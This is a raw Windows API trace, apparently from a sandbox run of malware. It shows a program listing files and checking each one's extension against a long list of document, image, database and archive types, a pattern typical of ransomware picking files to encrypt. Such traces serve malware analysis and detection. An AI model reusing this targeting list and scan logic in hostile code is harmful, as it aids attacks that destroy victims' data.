	[0180.377] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1
	[0180.377] lstrlenW (lpString=".pm") returned 3
	[0180.377] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1
	[0180.377] lstrlenW (lpString=".png") returned 4
	[0180.377] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1
	[0180.377] lstrlenW (lpString=".pnm") returned 4
	[0180.377] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1
	[0180.377] lstrlenW (lpString=".pot") returned 4
	[0180.377] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1
	[0180.377] lstrlenW (lpString=".potm") returned 5
	[0180.377] lstrcmpiW (lpString1=".potm", lpString2="t.dll") returned -1
	[0180.377] lstrlenW (lpString=".potx") returned 5
	[0180.377] lstrcmpiW (lpString1=".potx", lpString2="t.dll") returned -1
	[0180.377] lstrlenW (lpString=".ppa") returned 4
	[0180.377] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1
	[0180.377] lstrlenW (lpString=".ppam") returned 5
	[0180.377] lstrcmpiW (lpString1=".ppam", lpString2="t.dll") returned -1
	[0180.377] lstrlenW (lpString=".ppm") returned 4
	[0180.377] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1
	[0180.377] lstrlenW (lpString=".pps") returned 4
	[0180.377] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1
	[0180.377] lstrlenW (lpString=".ppsm") returned 5
	[0180.377] lstrcmpiW (lpString1=".ppsm", lpString2="t.dll") returned -1
	[0180.378] lstrlenW (lpString=".ppt") returned 4
	[0180.378] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0180.378] lstrlenW (lpString=".pptm") returned 5
	[0180.378] lstrcmpiW (lpString1=".pptm", lpString2="t.dll") returned -1
	[0180.378] lstrlenW (lpString=".pptx") returned 5
	[0180.378] lstrcmpiW (lpString1=".pptx", lpString2="t.dll") returned -1
	[0180.378] lstrlenW (lpString=".prn") returned 4
	[0180.378] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1
	[0180.378] lstrlenW (lpString=".ps") returned 3
	[0180.378] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1
	[0180.378] lstrlenW (lpString=".psb") returned 4
	[0180.378] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1
	[0180.378] lstrlenW (lpString=".psd") returned 4
	[0180.378] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1
	[0180.378] lstrlenW (lpString=".pst") returned 4
	[0180.378] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1
	[0180.378] lstrlenW (lpString=".ptx") returned 4
	[0180.378] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1
	[0180.378] lstrlenW (lpString=".pub") returned 4
	[0180.378] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1
	[0180.378] lstrlenW (lpString=".pwm") returned 4
	[0180.378] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1
	[0180.378] lstrlenW (lpString=".pxr") returned 4
	[0180.378] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1
	[0180.378] lstrlenW (lpString=".py") returned 3
	[0180.378] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1
	[0180.378] lstrlenW (lpString=".qt") returned 3
	[0180.378] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1
	[0180.378] lstrlenW (lpString=".r3d") returned 4
	[0180.379] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1
	[0180.379] lstrlenW (lpString=".raf") returned 4
	[0180.379] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1
	[0180.379] lstrlenW (lpString=".rar") returned 4
	[0180.379] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0180.379] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x269e8b6c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x269e8b6c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x269e8b6c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x161a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MsMpCom.dll", cAlternateFileName="")) returned 1
	[0180.379] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x269e8b6c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x269e8b6c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x269e8b6c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x37a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MsMpLics.dll", cAlternateFileName="")) returned 1
	[0180.380] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70ba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfflineScannerShell.exe", cAlternateFileName="")) returned 1
	[0180.380] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70ba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfflineScannerShell.exe", cAlternateFileName="")) returned 0
	[0180.380] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0180.380] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0180.380] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449db860, ftCreationTime.dwHighDateTime=0x1d5612c, ftLastAccessTime.dwLowDateTime=0x6a5ddf50, ftLastAccessTime.dwHighDateTime=0x1d59d02, ftLastWriteTime.dwLowDateTime=0x6a5ddf50, ftLastWriteTime.dwHighDateTime=0x1d59d02, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="omnipos.exe", cAlternateFileName="")) returned 1
	[0180.380] lstrlenW (lpString="omnipos.exe") returned 11
	[0180.380] lstrlenW (lpString=".1cd") returned 4
	[0180.381] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0180.381] lstrlenW (lpString=".3ds") returned 4
	[0180.381] lstrcmpiW (lpString1=".3ds", lpString2=".exe") returned -1
	[0180.381] lstrlenW (lpString=".3fr") returned 4
	[0180.381] lstrcmpiW (lpString1=".3fr", lpString2=".exe") returned -1
	[0180.381] lstrlenW (lpString=".3g2") returned 4
	[0180.381] lstrcmpiW (lpString1=".3g2", lpString2=".exe") returned -1
	[0180.381] lstrlenW (lpString=".3gp") returned 4
	[0180.381] lstrcmpiW (lpString1=".3gp", lpString2=".exe") returned -1
	[0180.381] lstrlenW (lpString=".7z") returned 3
	[0180.381] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0180.381] lstrlenW (lpString=".accda") returned 6
	[0180.381] lstrcmpiW (lpString1=".accda", lpString2="os.exe") returned -1
	[0180.381] lstrlenW (lpString=".accdb") returned 6
	[0180.381] lstrcmpiW (lpString1=".accdb", lpString2="os.exe") returned -1
	[0180.381] lstrlenW (lpString=".accdc") returned 6
	[0180.381] lstrcmpiW (lpString1=".accdc", lpString2="os.exe") returned -1
	[0180.381] lstrlenW (lpString=".accde") returned 6
	[0180.381] lstrcmpiW (lpString1=".accde", lpString2="os.exe") returned -1
	[0180.381] lstrlenW (lpString=".accdt") returned 6
	[0180.381] lstrcmpiW (lpString1=".accdt", lpString2="os.exe") returned -1
	[0180.381] lstrlenW (lpString=".accdw") returned 6
	[0180.381] lstrcmpiW (lpString1=".accdw", lpString2="os.exe") returned -1
	[0180.382] lstrlenW (lpString=".adb") returned 4
	[0180.382] lstrcmpiW (lpString1=".adb", lpString2=".exe") returned -1
	[0180.382] lstrlenW (lpString=".adp") returned 4
	[0180.382] lstrcmpiW (lpString1=".adp", lpString2=".exe") returned -1
	[0180.382] lstrlenW (lpString=".ai") returned 3
	[0180.382] lstrcmpiW (lpString1=".ai", lpString2="exe") returned -1
	[0180.382] lstrlenW (lpString=".ai3") returned 4
	[0180.382] lstrcmpiW (lpString1=".ai3", lpString2=".exe") returned -1
	[0180.382] lstrlenW (lpString=".ai4") returned 4
	[0180.382] lstrcmpiW (lpString1=".ai4", lpString2=".exe") returned -1
	[0180.382] lstrlenW (lpString=".ai5") returned 4
	[0180.382] lstrcmpiW (lpString1=".ai5", lpString2=".exe") returned -1
	[0180.382] lstrlenW (lpString=".ai6") returned 4
	[0180.382] lstrcmpiW (lpString1=".ai6", lpString2=".exe") returned -1
	[0180.382] lstrlenW (lpString=".ai7") returned 4
	[0180.382] lstrcmpiW (lpString1=".ai7", lpString2=".exe") returned -1
	[0180.382] lstrlenW (lpString=".ai8") returned 4
	[0180.383] lstrcmpiW (lpString1=".ai8", lpString2=".exe") returned -1
	[0180.383] lstrlenW (lpString=".anim") returned 5
	[0180.383] lstrcmpiW (lpString1=".anim", lpString2="s.exe") returned -1
	[0180.383] lstrlenW (lpString=".arw") returned 4
	[0180.383] lstrcmpiW (lpString1=".arw", lpString2=".exe") returned -1
	[0180.383] lstrlenW (lpString=".as") returned 3
	[0180.383] lstrcmpiW (lpString1=".as", lpString2="exe") returned -1
	[0180.383] lstrlenW (lpString=".asa") returned 4
	[0180.383] lstrcmpiW (lpString1=".asa", lpString2=".exe") returned -1
	[0180.383] lstrlenW (lpString=".asc") returned 4
	[0180.383] lstrcmpiW (lpString1=".asc", lpString2=".exe") returned -1
	[0180.383] lstrlenW (lpString=".ascx") returned 5
	[0180.383] lstrcmpiW (lpString1=".ascx", lpString2="s.exe") returned -1
	[0180.383] lstrlenW (lpString=".asm") returned 4
	[0180.383] lstrcmpiW (lpString1=".asm", lpString2=".exe") returned -1
	[0180.383] lstrlenW (lpString=".asmx") returned 5
	[0180.383] lstrcmpiW (lpString1=".asmx", lpString2="s.exe") returned -1
	[0180.383] lstrlenW (lpString=".asp") returned 4
	[0180.383] lstrcmpiW (lpString1=".asp", lpString2=".exe") returned -1
	[0180.383] lstrlenW (lpString=".aspx") returned 5
	[0180.383] lstrcmpiW (lpString1=".aspx", lpString2="s.exe") returned -1
	[0180.383] lstrlenW (lpString=".asr") returned 4
	[0180.383] lstrcmpiW (lpString1=".asr", lpString2=".exe") returned -1
	[0180.383] lstrlenW (lpString=".asx") returned 4
	[0180.384] lstrcmpiW (lpString1=".asx", lpString2=".exe") returned -1
	[0180.384] lstrlenW (lpString=".avi") returned 4
	[0180.384] lstrcmpiW (lpString1=".avi", lpString2=".exe") returned -1
	[0180.384] lstrlenW (lpString=".avs") returned 4
	[0180.384] lstrcmpiW (lpString1=".avs", lpString2=".exe") returned -1
	[0180.384] lstrlenW (lpString=".backup") returned 7
	[0180.384] lstrcmpiW (lpString1=".backup", lpString2="pos.exe") returned -1
	[0180.384] lstrlenW (lpString=".bak") returned 4
	[0180.384] lstrcmpiW (lpString1=".bak", lpString2=".exe") returned -1
	[0180.384] lstrlenW (lpString=".bay") returned 4
	[0180.384] lstrcmpiW (lpString1=".bay", lpString2=".exe") returned -1
	[0180.384] lstrlenW (lpString=".bd") returned 3
	[0180.384] lstrcmpiW (lpString1=".bd", lpString2="exe") returned -1
	[0180.384] lstrlenW (lpString=".bin") returned 4
	[0180.384] lstrcmpiW (lpString1=".bin", lpString2=".exe") returned -1
	[0180.384] lstrlenW (lpString=".bmp") returned 4
	[0180.384] lstrcmpiW (lpString1=".bmp", lpString2=".exe") returned -1
	[0180.384] lstrlenW (lpString=".bz2") returned 4
	[0180.384] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0180.384] lstrlenW (lpString=".c") returned 2
	[0180.385] lstrcmpiW (lpString1=".c", lpString2="xe") returned -1
	[0180.385] lstrlenW (lpString=".cdr") returned 4
	[0180.385] lstrcmpiW (lpString1=".cdr", lpString2=".exe") returned -1
	[0180.385] lstrlenW (lpString=".cer") returned 4
	[0180.385] lstrcmpiW (lpString1=".cer", lpString2=".exe") returned -1
	[0180.385] lstrlenW (lpString=".cf") returned 3
	[0180.385] lstrcmpiW (lpString1=".cf", lpString2="exe") returned -1
	[0180.385] lstrlenW (lpString=".cfc") returned 4
	[0180.385] lstrcmpiW (lpString1=".cfc", lpString2=".exe") returned -1
	[0180.385] lstrlenW (lpString=".cfm") returned 4
	[0180.385] lstrcmpiW (lpString1=".cfm", lpString2=".exe") returned -1
	[0180.385] lstrlenW (lpString=".cfml") returned 5
	[0180.385] lstrcmpiW (lpString1=".cfml", lpString2="s.exe") returned -1
	[0180.385] lstrlenW (lpString=".cfu") returned 4
	[0180.385] lstrcmpiW (lpString1=".cfu", lpString2=".exe") returned -1
	[0180.385] lstrlenW (lpString=".chm") returned 4
	[0180.385] lstrcmpiW (lpString1=".chm", lpString2=".exe") returned -1
	[0180.385] lstrlenW (lpString=".cin") returned 4
	[0180.385] lstrcmpiW (lpString1=".cin", lpString2=".exe") returned -1
	[0180.385] lstrlenW (lpString=".class") returned 6
	[0180.385] lstrcmpiW (lpString1=".class", lpString2="os.exe") returned -1
	[0180.385] lstrlenW (lpString=".clx") returned 4
	[0180.386] lstrcmpiW (lpString1=".clx", lpString2=".exe") returned -1
	[0180.386] lstrlenW (lpString=".config") returned 7
	[0180.386] lstrcmpiW (lpString1=".config", lpString2="pos.exe") returned -1
	[0180.386] lstrlenW (lpString=".cpp") returned 4
	[0180.386] lstrcmpiW (lpString1=".cpp", lpString2=".exe") returned -1
	[0180.386] lstrlenW (lpString=".cr2") returned 4
	[0180.386] lstrcmpiW (lpString1=".cr2", lpString2=".exe") returned -1
	[0180.386] lstrlenW (lpString=".crt") returned 4
	[0180.386] lstrcmpiW (lpString1=".crt", lpString2=".exe") returned -1
	[0180.386] lstrlenW (lpString=".crw") returned 4
	[0180.386] lstrcmpiW (lpString1=".crw", lpString2=".exe") returned -1
	[0180.386] lstrlenW (lpString=".cs") returned 3
	[0180.386] lstrcmpiW (lpString1=".cs", lpString2="exe") returned -1
	[0180.386] lstrlenW (lpString=".css") returned 4
	[0180.386] lstrcmpiW (lpString1=".css", lpString2=".exe") returned -1
	[0180.386] lstrlenW (lpString=".csv") returned 4
	[0180.386] lstrcmpiW (lpString1=".csv", lpString2=".exe") returned -1
	[0180.386] lstrlenW (lpString=".cub") returned 4
	[0180.386] lstrcmpiW (lpString1=".cub", lpString2=".exe") returned -1
	[0180.386] lstrlenW (lpString=".dae") returned 4
	[0180.386] lstrcmpiW (lpString1=".dae", lpString2=".exe") returned -1
	[0180.386] lstrlenW (lpString=".dat") returned 4
	[0180.386] lstrcmpiW (lpString1=".dat", lpString2=".exe") returned -1
	[0180.386] lstrlenW (lpString=".db") returned 3
	[0180.386] lstrcmpiW (lpString1=".db", lpString2="exe") returned -1
	[0180.386] lstrlenW (lpString=".dbf") returned 4
	[0180.386] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0180.386] lstrlenW (lpString=".dbx") returned 4
	[0180.386] lstrcmpiW (lpString1=".dbx", lpString2=".exe") returned -1
	[0180.387] lstrlenW (lpString=".dc3") returned 4
	[0180.387] lstrcmpiW (lpString1=".dc3", lpString2=".exe") returned -1
	[0180.387] lstrlenW (lpString=".dcm") returned 4
	[0180.387] lstrcmpiW (lpString1=".dcm", lpString2=".exe") returned -1
	[0180.387] lstrlenW (lpString=".dcr") returned 4
	[0180.387] lstrcmpiW (lpString1=".dcr", lpString2=".exe") returned -1
	[0180.387] lstrlenW (lpString=".der") returned 4
	[0180.387] lstrcmpiW (lpString1=".der", lpString2=".exe") returned -1
	[0180.387] lstrlenW (lpString=".dib") returned 4
	[0180.387] lstrcmpiW (lpString1=".dib", lpString2=".exe") returned -1
	[0180.387] lstrlenW (lpString=".dic") returned 4
	[0180.387] lstrcmpiW (lpString1=".dic", lpString2=".exe") returned -1
	[0180.387] lstrlenW (lpString=".dif") returned 4
	[0180.387] lstrcmpiW (lpString1=".dif", lpString2=".exe") returned -1
	[0180.387] lstrlenW (lpString=".divx") returned 5
	[0180.387] lstrcmpiW (lpString1=".divx", lpString2="s.exe") returned -1
	[0180.387] lstrlenW (lpString=".djvu") returned 5
	[0180.387] lstrcmpiW (lpString1=".djvu", lpString2="s.exe") returned -1
	[0180.387] lstrlenW (lpString=".dng") returned 4
	[0180.387] lstrcmpiW (lpString1=".dng", lpString2=".exe") returned -1
	[0180.387] lstrlenW (lpString=".doc") returned 4
	[0180.387] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0180.387] lstrlenW (lpString=".docm") returned 5
	[0180.387] lstrcmpiW (lpString1=".docm", lpString2="s.exe") returned -1
	[0180.387] lstrlenW (lpString=".docx") returned 5
	[0180.387] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1
	[0180.387] lstrlenW (lpString=".dot") returned 4
	[0180.387] lstrcmpiW (lpString1=".dot", lpString2=".exe") returned -1
	[0180.388] lstrlenW (lpString=".dotm") returned 5
	[0180.388] lstrcmpiW (lpString1=".dotm", lpString2="s.exe") returned -1
	[0180.388] lstrlenW (lpString=".dotx") returned 5
	[0180.388] lstrcmpiW (lpString1=".dotx", lpString2="s.exe") returned -1
	[0180.388] lstrlenW (lpString=".dpx") returned 4
	[0180.388] lstrcmpiW (lpString1=".dpx", lpString2=".exe") returned -1
	[0180.388] lstrlenW (lpString=".dqy") returned 4
	[0180.388] lstrcmpiW (lpString1=".dqy", lpString2=".exe") returned -1
	[0180.388] lstrlenW (lpString=".dsn") returned 4
	[0180.388] lstrcmpiW (lpString1=".dsn", lpString2=".exe") returned -1
	[0180.388] lstrlenW (lpString=".dt") returned 3
	[0180.388] lstrcmpiW (lpString1=".dt", lpString2="exe") returned -1
	[0180.388] lstrlenW (lpString=".dtd") returned 4
	[0180.388] lstrcmpiW (lpString1=".dtd", lpString2=".exe") returned -1
	[0180.388] lstrlenW (lpString=".dwg") returned 4
	[0180.388] lstrcmpiW (lpString1=".dwg", lpString2=".exe") returned -1
	[0180.388] lstrlenW (lpString=".dwt") returned 4
	[0180.388] lstrcmpiW (lpString1=".dwt", lpString2=".exe") returned -1
	[0180.388] lstrlenW (lpString=".dx") returned 3
	[0180.388] lstrcmpiW (lpString1=".dx", lpString2="exe") returned -1
	[0180.388] lstrlenW (lpString=".dxf") returned 4
	[0180.388] lstrcmpiW (lpString1=".dxf", lpString2=".exe") returned -1
	[0180.388] lstrlenW (lpString=".edml") returned 5
	[0180.388] lstrcmpiW (lpString1=".edml", lpString2="s.exe") returned -1
	[0180.388] lstrlenW (lpString=".efd") returned 4
	[0180.388] lstrcmpiW (lpString1=".efd", lpString2=".exe") returned -1
	[0180.388] lstrlenW (lpString=".elf") returned 4
	[0180.389] lstrcmpiW (lpString1=".elf", lpString2=".exe") returned -1
	[0180.389] lstrlenW (lpString=".emf") returned 4
	[0180.389] lstrcmpiW (lpString1=".emf", lpString2=".exe") returned -1
	[0180.389] lstrlenW (lpString=".emz") returned 4
	[0180.389] lstrcmpiW (lpString1=".emz", lpString2=".exe") returned -1
	[0180.389] lstrlenW (lpString=".epf") returned 4
	[0180.389] lstrcmpiW (lpString1=".epf", lpString2=".exe") returned -1
	[0180.389] lstrlenW (lpString=".eps") returned 4
	[0180.389] lstrcmpiW (lpString1=".eps", lpString2=".exe") returned -1
	[0180.389] lstrlenW (lpString=".epsf") returned 5
	[0180.389] lstrcmpiW (lpString1=".epsf", lpString2="s.exe") returned -1
	[0180.389] lstrlenW (lpString=".epsp") returned 5
	[0180.389] lstrcmpiW (lpString1=".epsp", lpString2="s.exe") returned -1
	[0180.389] lstrlenW (lpString=".erf") returned 4
	[0180.389] lstrcmpiW (lpString1=".erf", lpString2=".exe") returned -1
	[0180.389] lstrlenW (lpString=".exr") returned 4
	[0180.389] lstrcmpiW (lpString1=".exr", lpString2=".exe") returned 1
	[0180.389] lstrlenW (lpString=".f4v") returned 4
	[0180.389] lstrcmpiW (lpString1=".f4v", lpString2=".exe") returned 1
	[0180.389] lstrlenW (lpString=".fido") returned 5
	[0180.389] lstrcmpiW (lpString1=".fido", lpString2="s.exe") returned -1
	[0180.389] lstrlenW (lpString=".flm") returned 4
	[0180.389] lstrcmpiW (lpString1=".flm", lpString2=".exe") returned 1
	[0180.389] lstrlenW (lpString=".flv") returned 4
	[0180.389] lstrcmpiW (lpString1=".flv", lpString2=".exe") returned 1
	[0180.389] lstrlenW (lpString=".frm") returned 4
	[0180.389] lstrcmpiW (lpString1=".frm", lpString2=".exe") returned 1
	[0180.389] lstrlenW (lpString=".fxg") returned 4
	[0180.389] lstrcmpiW (lpString1=".fxg", lpString2=".exe") returned 1
	[0180.389] lstrlenW (lpString=".geo") returned 4
	[0180.389] lstrcmpiW (lpString1=".geo", lpString2=".exe") returned 1
	[0180.390] lstrlenW (lpString=".gif") returned 4
	[0180.390] lstrcmpiW (lpString1=".gif", lpString2=".exe") returned 1
	[0180.390] lstrlenW (lpString=".grs") returned 4
	[0180.390] lstrcmpiW (lpString1=".grs", lpString2=".exe") returned 1
	[0180.390] lstrlenW (lpString=".gz") returned 3
	[0180.390] lstrcmpiW (lpString1=".gz", lpString2="exe") returned -1
	[0180.390] lstrlenW (lpString=".h") returned 2
	[0180.390] lstrcmpiW (lpString1=".h", lpString2="xe") returned -1
	[0180.390] lstrlenW (lpString=".hdr") returned 4
	[0180.390] lstrcmpiW (lpString1=".hdr", lpString2=".exe") returned 1
	[0180.390] lstrlenW (lpString=".hpp") returned 4
	[0180.390] lstrcmpiW (lpString1=".hpp", lpString2=".exe") returned 1
	[0180.390] lstrlenW (lpString=".hta") returned 4
	[0180.390] lstrcmpiW (lpString1=".hta", lpString2=".exe") returned 1
	[0180.390] lstrlenW (lpString=".htc") returned 4
	[0180.390] lstrcmpiW (lpString1=".htc", lpString2=".exe") returned 1
	[0180.390] lstrlenW (lpString=".htm") returned 4
	[0180.390] lstrcmpiW (lpString1=".htm", lpString2=".exe") returned 1
	[0180.390] lstrlenW (lpString=".html") returned 5
	[0180.390] lstrcmpiW (lpString1=".html", lpString2="s.exe") returned -1
	[0180.390] lstrlenW (lpString=".icb") returned 4
	[0180.390] lstrcmpiW (lpString1=".icb", lpString2=".exe") returned 1
	[0180.390] lstrlenW (lpString=".ics") returned 4
	[0180.390] lstrcmpiW (lpString1=".ics", lpString2=".exe") returned 1
	[0180.390] lstrlenW (lpString=".iff") returned 4
	[0180.391] lstrcmpiW (lpString1=".iff", lpString2=".exe") returned 1
	[0180.391] lstrlenW (lpString=".inc") returned 4
	[0180.391] lstrcmpiW (lpString1=".inc", lpString2=".exe") returned 1
	[0180.391] lstrlenW (lpString=".indd") returned 5
	[0180.391] lstrcmpiW (lpString1=".indd", lpString2="s.exe") returned -1
	[0180.391] lstrlenW (lpString=".ini") returned 4
	[0180.391] lstrcmpiW (lpString1=".ini", lpString2=".exe") returned 1
	[0180.391] lstrlenW (lpString=".iqy") returned 4
	[0180.391] lstrcmpiW (lpString1=".iqy", lpString2=".exe") returned 1
	[0180.391] lstrlenW (lpString=".j2c") returned 4
	[0180.391] lstrcmpiW (lpString1=".j2c", lpString2=".exe") returned 1
	[0180.391] lstrlenW (lpString=".j2k") returned 4
	[0180.391] lstrcmpiW (lpString1=".j2k", lpString2=".exe") returned 1
	[0180.391] lstrlenW (lpString=".java") returned 5
	[0180.391] lstrcmpiW (lpString1=".java", lpString2="s.exe") returned -1
	[0180.391] lstrlenW (lpString=".jp2") returned 4
	[0180.391] lstrcmpiW (lpString1=".jp2", lpString2=".exe") returned 1
	[0180.391] lstrlenW (lpString=".jpc") returned 4
	[0180.391] lstrcmpiW (lpString1=".jpc", lpString2=".exe") returned 1
	[0180.391] lstrlenW (lpString=".jpe") returned 4
	[0180.391] lstrcmpiW (lpString1=".jpe", lpString2=".exe") returned 1
	[0180.391] lstrlenW (lpString=".jpeg") returned 5
	[0180.391] lstrcmpiW (lpString1=".jpeg", lpString2="s.exe") returned -1
	[0180.391] lstrlenW (lpString=".jpf") returned 4
	[0180.391] lstrcmpiW (lpString1=".jpf", lpString2=".exe") returned 1
	[0180.392] lstrlenW (lpString=".jpg") returned 4
	[0180.392] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0180.392] lstrlenW (lpString=".jpx") returned 4
	[0180.392] lstrcmpiW (lpString1=".jpx", lpString2=".exe") returned 1
	[0180.392] lstrlenW (lpString=".js") returned 3
	[0180.392] lstrcmpiW (lpString1=".js", lpString2="exe") returned -1
	[0180.392] lstrlenW (lpString=".jsf") returned 4
	[0180.392] lstrcmpiW (lpString1=".jsf", lpString2=".exe") returned 1
	[0180.392] lstrlenW (lpString=".json") returned 5
	[0180.392] lstrcmpiW (lpString1=".json", lpString2="s.exe") returned -1
	[0180.392] lstrlenW (lpString=".jsp") returned 4
	[0180.392] lstrcmpiW (lpString1=".jsp", lpString2=".exe") returned 1
	[0180.392] lstrlenW (lpString=".kdc") returned 4
	[0180.392] lstrcmpiW (lpString1=".kdc", lpString2=".exe") returned 1
	[0180.392] lstrlenW (lpString=".kmz") returned 4
	[0180.392] lstrcmpiW (lpString1=".kmz", lpString2=".exe") returned 1
	[0180.392] lstrlenW (lpString=".kwm") returned 4
	[0180.392] lstrcmpiW (lpString1=".kwm", lpString2=".exe") returned 1
	[0180.392] lstrlenW (lpString=".lasso") returned 6
	[0180.392] lstrcmpiW (lpString1=".lasso", lpString2="os.exe") returned -1
	[0180.393] lstrlenW (lpString=".lbi") returned 4
	[0180.393] lstrcmpiW (lpString1=".lbi", lpString2=".exe") returned 1
	[0180.393] lstrlenW (lpString=".lgf") returned 4
	[0180.393] lstrcmpiW (lpString1=".lgf", lpString2=".exe") returned 1
	[0180.393] lstrlenW (lpString=".lgp") returned 4
	[0180.393] lstrcmpiW (lpString1=".lgp", lpString2=".exe") returned 1
	[0180.393] lstrlenW (lpString=".log") returned 4
	[0180.393] lstrcmpiW (lpString1=".log", lpString2=".exe") returned 1
	[0180.393] lstrlenW (lpString=".m1v") returned 4
	[0180.393] lstrcmpiW (lpString1=".m1v", lpString2=".exe") returned 1
	[0180.393] lstrlenW (lpString=".m4a") returned 4
	[0180.393] lstrcmpiW (lpString1=".m4a", lpString2=".exe") returned 1
	[0180.393] lstrlenW (lpString=".m4v") returned 4
	[0180.393] lstrcmpiW (lpString1=".m4v", lpString2=".exe") returned 1
	[0180.393] lstrlenW (lpString=".max") returned 4
	[0180.393] lstrcmpiW (lpString1=".max", lpString2=".exe") returned 1
	[0180.393] lstrlenW (lpString=".md") returned 3
	[0180.393] lstrcmpiW (lpString1=".md", lpString2="exe") returned -1
	[0180.393] lstrlenW (lpString=".mda") returned 4
	[0180.393] lstrcmpiW (lpString1=".mda", lpString2=".exe") returned 1
	[0180.393] lstrlenW (lpString=".mdb") returned 4
	[0180.393] lstrcmpiW (lpString1=".mdb", lpString2=".exe") returned 1
	[0180.393] lstrlenW (lpString=".mde") returned 4
	[0180.393] lstrcmpiW (lpString1=".mde", lpString2=".exe") returned 1
	[0180.393] lstrlenW (lpString=".mdf") returned 4
	[0180.393] lstrcmpiW (lpString1=".mdf", lpString2=".exe") returned 1
	[0180.393] lstrlenW (lpString=".mdw") returned 4
	[0180.393] lstrcmpiW (lpString1=".mdw", lpString2=".exe") returned 1
	[0180.393] lstrlenW (lpString=".mef") returned 4
	[0180.393] lstrcmpiW (lpString1=".mef", lpString2=".exe") returned 1
	[0180.393] lstrlenW (lpString=".mft") returned 4
	[0180.393] lstrcmpiW (lpString1=".mft", lpString2=".exe") returned 1
	[0180.394] lstrlenW (lpString=".mfw") returned 4
	[0180.394] lstrcmpiW (lpString1=".mfw", lpString2=".exe") returned 1
	[0180.394] lstrlenW (lpString=".mht") returned 4
	[0180.394] lstrcmpiW (lpString1=".mht", lpString2=".exe") returned 1
	[0180.394] lstrlenW (lpString=".mhtml") returned 6
	[0180.394] lstrcmpiW (lpString1=".mhtml", lpString2="os.exe") returned -1
	[0180.394] lstrlenW (lpString=".mka") returned 4
	[0180.394] lstrcmpiW (lpString1=".mka", lpString2=".exe") returned 1
	[0180.394] lstrlenW (lpString=".mkidx") returned 6
	[0180.394] lstrcmpiW (lpString1=".mkidx", lpString2="os.exe") returned -1
	[0180.394] lstrlenW (lpString=".mkv") returned 4
	[0180.394] lstrcmpiW (lpString1=".mkv", lpString2=".exe") returned 1
	[0180.394] lstrlenW (lpString=".mos") returned 4
	[0180.394] lstrcmpiW (lpString1=".mos", lpString2=".exe") returned 1
